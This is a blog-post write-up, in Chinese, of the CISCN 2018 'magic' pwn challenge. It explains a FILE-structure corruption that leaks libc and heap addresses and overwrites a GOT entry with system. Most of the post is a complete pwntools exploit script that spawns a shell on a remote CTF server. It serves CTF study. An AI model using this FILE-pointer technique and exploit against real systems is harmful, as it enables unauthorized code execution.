[XCTF-pwn] 34_ciscn-2018-Quals_magic

该博客详细解析了一个利用IO_file结构漏洞进行内存操纵的exploit过程。首先,通过create和spell函数初始化和修改内存布局,然后通过精心计算的偏移量,逐步调整IO_file结构指针,实现对libc和堆地址的泄露。接着,通过读写指针的操纵,控制got表中的puts和fwrite,最终注入system函数和/bin/sh字符串,实现远程shell的获取。博客深入探讨了漏洞利用的技术细节和步骤,展示了缓冲区溢出攻击的典型手法。

IO_file结构的使用

漏洞:数组上边界未检查。

程序有两个函数,create和spell,

create主要是初始化一个块,从random读入放到堆块中。

spell会将管理块+28的计数器-50

log_file是个IO_file文件结构,指针在块指针区前。

思路:

  1. 新建块,初始化系统
  2. 使用spell(-2)修改log_file的_IO_write_ptr 每次+写入字符数-50 向前移,移动时通过调节写入字符使其不改动原有数据。
  3. 将指针移动IO_file前,写数据到_IO_read_ptr,_IO_read_end 输出指定地址的值,泄露libc(got.puts)和堆地址(log_file指针)
  4. 修改_IO_write_base,_IO_write_ptr,_IO_write_end 读入_IO_buf_base,_IO_buf_end,再控制指针到got.fwrite写入system
  5. 写入/bin/sh

8个金币买的,搜不到,根据自己理解写了注释。

完整exp:

from pwn import *

local = 0
if local == 1:
    p = process('./pwn')
else:
    p = remote('111.200.241.244', 64475) 

libc_elf = ELF('/home/shi/buuctf/buuoj_2.23_amd64/libc6_2.23-0ubuntu10_amd64.so')
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
libc_start_main_ret = 0x20830

elf = ELF('./pwn')
context.arch = 'amd64'
context.log_level = 'debug'

def add(name):
    p.sendlineafter(b"choice>> ", b'1')
    p.sendafter(b"Give me the wizard's name:", name)

def spell(idx, msg):
    p.sendlineafter(b"choice>> ", b'2')
    p.sendlineafter(b"Who will spell:", str(idx).encode())
    p.sendafter(b"Spell name:", msg)

#init logfile space
add(b'AAAA')
spell(0, b'AAAB')

'''
每次wrtie_ptr +写入字节数 -50 跳到值为0的位置,写入数据不能影响原数据
IO_write_ptr = 0x00000000014732a0
 (+1-50)*8 + (13-50) + (+1-50)*3 + (+9-50) + (+1-50)  = 0x0000000001473005
0x1473000:	0x0000000000000000	0x0000000000000231
0x1473010:	0x00000000fbad24a8	0x0000000001473480
0x1473020:	0x00000000014742a0	0x00000000014732a0
0x1473030:	0x00000000014732a0	0x0000000001473005 <-跳到log_file前部  0x0000000000000000 0x0000000000000231
0x1473040:	0x00000000014732a0	0x00000000014732a0
'''
[spell(-2, b'\x00') for i in range(8)] #_IO_write_ptr write1 +1 -50
spell(-2, b'\x00'*13)
[spell(-2, b'\x00') for i in range(3)]
spell(-2, b'\x00'*9)
spell(-2, b'\x00')
#修改read指针,读got表输出
spell(0, flat(b'\x00'*3, 0x231, 0xfbad24a8))
spell(0, flat(elf.got['puts'], elf.got['puts']+0x100)) #_IO_read_ptr,_IO_read_end

libc_base = u64(p.recv(8)) - libc_elf.sym['puts']
libc_elf.address = libc_base
print('libc:', hex(libc_base))

spell(-2, flat(elf.got['puts'], 0)) #0x0000000001473006
#读堆指针输出log_file指向堆中IO_file结构
spell(0, flat(b'\x00'*2, 0x231, 0xfbad24a8))
spell(0, flat(elf.sym['log_file'], elf.got['puts']+0x100, elf.got['puts'])) #_IO_read_ptr,_IO_read_end,_IO_read_base
heap_base = u64(p.recv(8)) -0x10
print('heap:', hex(heap_base))

spell(0, flat(heap_base+0x58,0,heap_base+0x58)) #_IO_write_base,_IO_write_ptr,_IO_write_end
spell(0, flat(0x602122,0x602123+0xa00)) #_IO_buf_base,_IO_buf_end
'''
0x1a91010:	0x00000000fbad24a8	0x0000000000602120
0x1a91020:	0x0000000000602120	0x0000000000602020
0x1a91030:	0x0000000001a91058	0x0000000001a91048
0x1a91040:	0x0000000001a91058	0x0000000001a912a0
0x1a91050:	0x0000000001a922a0	0x0000000000000000

0x1a91010:	0x00000000fbad24a8	0x0000000000602142
0x1a91020:	0x0000000000602b23	0x0000000000602122
0x1a91030:	0x0000000000602122	0x0000000000602122
0x1a91040:	0x0000000000602122	0x0000000000602122
0x1a91050:	0x0000000000602b23	0x0000000000000000
'''
for i in [0,0x40,0]:
    spell(-2, p8(i))
#_IO_write_ptr = 0x60208e
spell(0, flat(b'\x00'*2,libc_elf.sym['system'])) #got.fwrite
spell(0, b'/bin/sh')

p.interactive()

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值